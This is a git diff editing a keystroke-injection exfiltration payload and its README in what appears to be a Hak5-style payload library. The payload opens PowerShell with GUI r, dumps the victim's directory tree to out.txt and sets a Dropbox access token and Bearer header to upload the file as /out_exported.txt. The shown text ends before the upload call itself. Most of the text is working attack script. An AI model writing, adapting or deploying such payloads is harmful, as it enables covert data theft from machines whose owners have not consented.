diff --git a/payloads/library/exfiltration/Tree_structure_of_the_operating_system/README.md b/payloads/library/exfiltration/Tree_structure_of_the_operating_system/README.md index 738eeb5..3dca4d7 100644 --- a/payloads/library/exfiltration/Tree_structure_of_the_operating_system/README.md +++ b/payloads/library/exfiltration/Tree_structure_of_the_operating_system/README.md @@ -18,15 +18,11 @@ Open a PowerShell and run the command `tree /f /a > out.txt` that permit to list ## Settings -- You must define your Dropbox accessToken or modify the exfiltration modality. Replace just the example word with your token. +- You must define your Dropbox accessToken or modify the exfiltration modality. - `DEFINE DROPBOX_ACCESS_TOKEN "example"` + `DEFINE #DROPBOX_ACCESS_TOKEN example` - The path to check can be changed putting the full-path `tree /f /a > out.txt`. - `tree \ /f /a > out.txt` - - `tree C:\Users\Aleff\Documents /f /a > out.txt` - -- It depends byt the content and by the path choosen - - `DELAY 5000` \ No newline at end of file + - `tree C:\Users\Aleff\Documents /f /a > out.txt` \ No newline at end of file diff --git a/payloads/library/exfiltration/Tree_structure_of_the_operating_system/payload.txt b/payloads/library/exfiltration/Tree_structure_of_the_operating_system/payload.txt index 88e06d1..0926faf 100644 --- a/payloads/library/exfiltration/Tree_structure_of_the_operating_system/payload.txt +++ b/payloads/library/exfiltration/Tree_structure_of_the_operating_system/payload.txt @@ -12,26 +12,19 @@ REM ########################################################### REM Requirements: REM - Internet connection +REM Set yout Dropbox access token +DEFINE #DROPBOX_ACCESS_TOKEN example GUI r DELAY 1000 -STRING PowerShell -ENTER +STRINGLN PowerShell DELAY 1000 -STRINGLN tree /f /a > out.txt - -REM It depends byt the content and by the path choosen -DELAY 5000 - -$filePath = ".\out.txt" - REM Setting about exfiltration -STRING $accessToken = -STRING DROPBOX_ACCESS_TOKEN -ENTER - -STRINGLN +STRINGLN_BLOCK + tree /f /a > out.txt + $filePath=".\out.txt"; + $accessToken="#DROPBOX_ACCESS_TOKEN" $authHeader = @{Authorization = "Bearer $accessToken"} $dropboxFilePath = "/out_exported.txt"